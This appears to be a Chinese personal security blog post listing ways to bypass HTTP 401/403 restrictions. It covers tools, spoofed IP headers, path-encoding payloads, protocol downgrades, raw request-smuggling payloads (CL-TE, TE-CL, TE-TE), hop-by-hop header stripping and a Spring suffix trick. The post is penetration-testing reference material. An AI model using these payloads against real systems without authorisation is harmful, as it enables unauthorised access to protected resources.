奇奇怪怪

安全小技巧

新的一天开始了

剪刀石头布,哈,我又赢了

2023

11-26

永远新的开始啊

☺️目录列表


🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️

简介

部分常见的HTTP响应状态码的介绍:

  1. 200 OK:表示请求成功。服务器成功处理了客户端的请求,并返回了请求的内容。
  2. 201 Created:表示请求已成功,并在服务器上创建了新的资源。
  3. 204 No Content:表示服务器成功处理了请求,但没有返回任何内容。通常在不需要返回响应主体的情况下使用,例如对DELETE请求的确认。
  4. 400 Bad Request:表示客户端发送的请求有错误,服务器无法处理。常见的原因包括请求参数缺失、参数格式错误等。
  5. 401 Unauthorized:表示请求需要身份验证,但客户端未提供有效的身份凭证。
  6. 403 Forbidden:表示服务器理解请求,但拒绝执行。通常是由于权限不足导致的,即使客户端提供了身份凭证。
  7. 404 Not Found:表示请求的资源在服务器上未找到。
  8. 500 Internal Server Error:表示服务器在处理请求时遇到了错误。这可能是由于服务器内部的错误导致的,而不是客户端的错误。

绕过方法

工具

1
2
3
4
5
6
7
8
9
10
11
12
13
burpsuite 插件
https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122
403 bypass

Automatic Tools 自动工具

https://github.com/lobuhi/byp4xx

https://github.com/iamj0ker/bypass-403

https://github.com/gotr00t0day/forbiddenpass

Burp Extension - 403呼吸器

修改请求

1
2
3
4
5
6
7
8
**如**
POST /admin HTTP/1.1
Host: example.com
...
**改为**
GET /admin HTTP/1.1
Host: example.com
...
1
2
3
4
5
6
7
8
9
10
11
12
GET
HEAD
POST
PUT
DELETE
CONNECT
OPTIONS
TRACE
PATCH
FOO # non existant method also might work

****************字典列表 /usr/share/seclists/Fuzzing/http-request-methods.txt****************

User-Agent 修改

有时,开发人员希望根据您用来访问网络应用程序的浏览器/操作系统类型来提供不同的内容。 如果配置错误,您可能只能通过修改用户代理来访问资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322
Kazehakase/0.4.4.1

Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131
Netscape6/6.01

Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309
SeaMonkey/1.0

Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405
Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)

Mozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final)
Gecko/20020408

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801

**/usr/share/seclists/Fuzzing/User-Agents/ 字典列表**

HTTP Headers 修改

HTTP 标头模糊测试是另一种流行的方法,该技术涉及使用修改后的
HTTP 标头向目标服务器发送请求。 X-Forwarded-For、Referer 和 Authorization 标头是最常修改的标头。 X-Forwarded-For 可以进行模糊测试,以绕过依赖 IP 地址过滤的安全控制。 通过更改此标头中的 IP 地址,攻击者可以尝试绕过基于 IP 地址过滤的任何安全控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Headers:
- X-Forwarded-For
- X-Forward-For
- X-Forwarded-Host
- X-Forwarded-Proto
- Forwarded
- Via
- X-Real-IP
- X-Remote-IP
- X-Remote-Addr
- X-Trusted-IP
- X-Requested-By
- X-Requested-For
- X-Forwarded-Server

Values:
- 10.0.0.0
- 10.0.0.1
- 127.0.0.1
- 127.0.0.1:443
- 127.0.0.1:80
- localhost
- 172.16.0.0

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost

如果路径受到保护,您可以尝试使用以下其他标头绕过路径保护:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

******工具 https://github.com/carlospolop/fuzzhttpbypass******

******字典 /usr/share/seclists/Miscellaneous/web/http-request-headers******

路径模糊测试

尝试通过添加符号来寻找替代路径来绕过 401 或 403 状态代码。 example.com/admin 给你 403? 尝试添加 /%2e/或者 /%252e/到路径: example.com/%252e/管理并检查结果。 您还可以尝试其他创意文字。

🗯️: “/%2e/”或“/%252e/”序列表示“.”的 URL 编码版本。 字符,用于表示文件路径中的当前目录。 通过在 URL 路径中使用这一序列,服务器可能会将请求解释为访问与预期路径不同的路径,从而可能绕过基于原始路径的访问控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/../
/...
/..%00
/..%01
/..%0a
/..%0d
/..%09
/~root
/~admin
/%20/
/%2e%2e/
/%252e%252e/
/%c0%af/
/%e0%80%af

**/usr/share/seclists/Fuzzing 字典**

协议版本降级

HTTP/2 进不去? 尝试 1.1。 您还可以尝试所有其他技术以及降级协议,其中一种有用的技术可能是降级到 1.0 并完全删除主机标头 - 它可能会导致服务器出现意外行为。

1
2
3
4
0.9
1.0
1.1
2
1
2
3
4
5
清楚所有其他http标头 只保留一个 将HTTP协议版本更改为1.0
如果服务器和任何其他安全机制未以正确的方式配置,则当我们不将 Host 放入标头时。 它将目标地址本身放入标头中,这使我们称为本地地址。

GET /path HTTP/1.0
**此方法可以绕过CDN获得服务器真实IP地址**

401 和 403 旁路技术

大小写切换技术

它涉及更改 URL 路径中字符的大小写以尝试绕过访问控制。 example.com/user给你401? 尝试 example.com/User, example.com/%75ser或者 example.com/USerETC。

HTTP 请求走私

  • HTTP 请求走私可用于操纵 Web 服务器和 Web 应用程序防火墙的行为。 它涉及发送格式错误的 HTTP 请求,这些请求利用 HTTP 请求处理链中不同组件处理请求数据的方式差异。
  • 在 401 和 403 状态代码的情况下,您可以使用 HTTP 请求走私来绕过身份验证和授权检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
******************在一个请求中写入两个GET等请求,第二个请求中删除User-Agent,HTTP2转换为HTTP1******************
GET /test?a=a% HTTP/1.1
Host: admin.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36

GET /admin/login HTTP/1.1
Host: admin.target.com

================================================================================
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。
================================================================================
根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。
================================================================================
CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。
================================================================================
TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
================================================================================
TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
================================================================================

**文章:**
https://medium.com/@siratsami71/the-easiest-way-i-used-to-bypass-an-admin-panel-93d4297ed4a6
https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html
https://github.com/xidaner/Freed0m/blob/master/%E7%AC%94%E8%AE%B0/%E5%AE%89%E5%85%A8/Web%E6%B8%97%E9%80%8F/web%E6%9C%8D%E5%8A%A1/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81.md

利用逐跳请求标头

  • 逐跳标头是用于客户端和服务器之间通信的 HTTP 标头,不会由代理或缓存等中介转发。 这些标头被称为“逐跳”,因为它们是逐跳处理的,这意味着请求路径上的每个中介都会在标头通过时看到并可能修改标头。 HTTP/1.1 规范将以下标头定义为逐跳标头:

连接、保持活动、代理验证、代理授权、TE、尾部、传输编码

  • 当代理收到包含这些标头之一的请求时,它应该对其进行处理,然后在将请求转发到链中的下一个服务器之前删除标头。
  • 💡!请注意, HTTP/2 协议 具有不同的处理标头的机制,其中“伪标头”的概念与常规标头的处理方式不同。

有趣的是,您可以通过将哪些标头添加到 Connection 标头来定义应删除的标头,如下所示:

!https://blog.vidocsecurity.com/content/images/2023/04/image.png

1
Connection: close, X-Foo, X-Bar

在此示例中,我们要求代理处理 X-FooX-Bar作为逐跳,这意味着我们希望代理在传递请求之前将它们从请求中删除。

  • 使用此技巧,您也许能够绕过 401 和 403
    状态代码,只要请求链中的某些服务器依赖于代理添加/中间服务器添加的标头,但您定义将其删除。
    然而,值得注意的是,仅仅因为您可以删除链中某处的标头并不一定意味着主机容易受到攻击。
    这只是利用底层问题的第一步,还需要进一步探索以确定是否可以用来绕过授权检查。
    此外,重要的是要认识到此技术可能会在服务器端导致意外问题,具体取决于服务器如何处理已删除的标头。
  • 快速且简单的测试是 Cookie标头,针对需要身份验证的端点(假设目标系统使用 cookie 身份验证)。 以以下请求为例:
1
2
3
4
5
GET /api/me HTTP/1.1
Host: foo.bar
Cookie: session=xxx
Connection: close, Cookie

如果我们这么说 /api/me当请求经过身份验证时,应该返回包含用户详细信息的 HTTP 200,并且 session=xxx是一个有效的经过身份验证的 cookie 会话值,那么如果系统允许原始请求中定义的逐跳标头来修改发送到后端的标头,则上述请求可能会返回预期响应之外的内容。

  • 通过隐藏 X-Forwarded-For 来屏蔽原始 IP 地址

当前端代理接受用户请求时,它可能会将该用户的IP地址添加到 X-Forwarded-For(XFF)标头,因此后端的基础设施和应用程序可以知道请求用户的 IP 地址。 但是,通过指示代理此标头是逐跳的,我们最终可能会从请求中删除此标头,并且后端应用程序要么永远不会收到它,要么会收到一个不是原始 IP 地址值用户,但属于链中其他位置的服务器。

另一件需要记住的事情是 XFF 只是一个用于传递用户真实 IP 地址的标头 - 根据目标系统,您可能还拥有 Forwarded, X-Real-IP,以及其他一些不太常见的。

使用连接标头进行模糊测试的示例有效负载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Hop by hop headers:
- Accept
- Accept-Application
- Accept-Charset
- Accepted
- Accept-Encoding
- Accept-Encodxng
- Accept-Language
- Accept-Ranges
- Accept-Version
- Access-Control-Allow-Credentials
- Access-Control-Allow-Headers
- Access-Control-Allow-Methods
- Access-Control-Allow-Origin
- Access-Control-Expose-Headers

Spring框架特定的绕过技术

  • 版本 < 5.3 有 useSuffixPatternMatch设置默认设置为 true。 这意味着方法映射到例如 /admin也会匹配 /admin[.].*。 它可用于绕过访问限制

😢over… … …

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子